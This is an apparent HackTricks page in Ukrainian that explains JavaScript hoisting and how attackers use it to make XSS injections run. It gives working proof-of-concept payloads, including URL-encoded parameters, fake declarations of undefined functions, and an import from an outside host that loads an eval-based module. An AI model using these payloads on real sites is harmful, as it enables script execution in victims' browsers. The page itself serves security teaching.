JS Hoisting
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
У мові JavaScript описується механізм, відомий як Hoisting, де оголошення змінних, функцій, класів або імпортів концептуально піднімаються на верхню частину їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить через скрипт у кілька проходів.
Під час першого проходу движок аналізує код, щоб перевірити наявність синтаксичних помилок, і перетворює його в абстрактне синтаксичне дерево. Ця фаза включає підйом, процес, в якому певні оголошення переміщуються на верхню частину контексту виконання. Якщо фаза аналізу успішна, що вказує на відсутність синтаксичних помилок, виконання скрипту продовжується.
Важливо зрозуміти, що:
- Скрипт повинен бути вільним від синтаксичних помилок для виконання. Правила синтаксису повинні суворо дотримуватись.
- Розміщення коду в скрипті впливає на виконання через підйом, хоча виконуваний код може відрізнятися від його текстового представлення.
Types of Hoisting
Відповідно до інформації з MDN, існує чотири різні типи підйому в JavaScript:
- Value Hoisting: Дозволяє використовувати значення змінної в її області видимості до рядка оголошення.
- Declaration Hoisting: Дозволяє посилатися на змінну в її області видимості до оголошення без виклику
ReferenceError
, але значення змінної будеundefined
. - Цей тип змінює поведінку в межах своєї області видимості через оголошення змінної до її фактичного рядка оголошення.
- Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить.
Докладно, оголошення функцій демонструють поведінку підйому типу 1. Ключове слово var
демонструє поведінку типу 2. Лексичні оголошення, які включають let
, const
і class
, показують поведінку типу 3. Нарешті, оператори import
є унікальними тим, що вони піднімаються з поведінкою як типу 1, так і типу 4.
Scenarios
Отже, якщо у вас є сценарії, де ви можете Inject JS code after an undeclared object використовується, ви могли б fix the syntax оголосивши його (щоб ваш код виконувався замість того, щоб викликати помилку):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Більше сценаріїв
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Посилання
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.